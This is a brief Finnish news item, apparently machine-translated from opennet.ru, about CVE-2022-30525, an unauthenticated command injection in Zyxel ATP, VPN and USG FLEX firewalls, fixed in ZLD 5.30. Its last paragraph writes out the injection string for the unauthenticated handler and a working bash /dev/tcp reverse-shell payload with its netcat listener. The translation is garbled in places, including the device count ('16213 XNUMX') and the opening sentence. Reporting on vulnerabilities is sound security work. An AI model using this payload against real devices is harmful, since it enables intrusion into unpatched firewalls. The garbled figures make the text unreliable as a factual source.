ATP-, VPN- ja USG FLEX -sarjojen Zyxel-laitteissa on havaittu kriittinen haavoittuvuus (CVE-2022-30525), joka on suunniteltu järjestämään palomuurien, IDS:n ja VPN:n toimintaa yrityksissä, minkä ansiosta ulkoinen hyökkääjä voi suorittaa koodia laite ilman käyttöoikeuksia ilman todennusta. Hyökkäyksen suorittamiseksi hyökkääjän on pystyttävä lähettämään pyyntöjä laitteelle HTTP/HTTPS-protokollan avulla. Zyxel on korjannut ZLD 5.30 -laiteohjelmistopäivityksen haavoittuvuuden. Shodan-palvelun mukaan maailmanlaajuisessa verkossa on tällä hetkellä 16213 XNUMX mahdollisesti haavoittuvaa laitetta, jotka hyväksyvät pyynnöt HTTP/HTTPS:n kautta.
Toiminto suoritetaan lähettämällä erityisesti suunniteltuja komentoja web-käsittelijälle /ztp/cgi-bin/handler, jotka ovat käytettävissä ilman todennusta. Ongelma johtuu siitä, että pyyntöparametreja ei ole puhdistettu asianmukaisesti suoritettaessa komentoja järjestelmässä os.system-kutsulla, jota käytetään lib_wan_settings.py-kirjastossa ja suoritetaan käsiteltäessä setWanPortSt-toimintoa.
Esimerkiksi hyökkääjä voi välittää merkkijonon "; ping 192.168.1.210;" joka johtaa "ping 192.168.1.210" -komennon suorittamiseen järjestelmässä. Pääset käsiksi komentotulkkiin ajamalla "nc -lvnp 1270" järjestelmässäsi ja käynnistämällä sitten käänteisen yhteyden lähettämällä pyynnön laitteelle '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.
Lähde: opennet.ru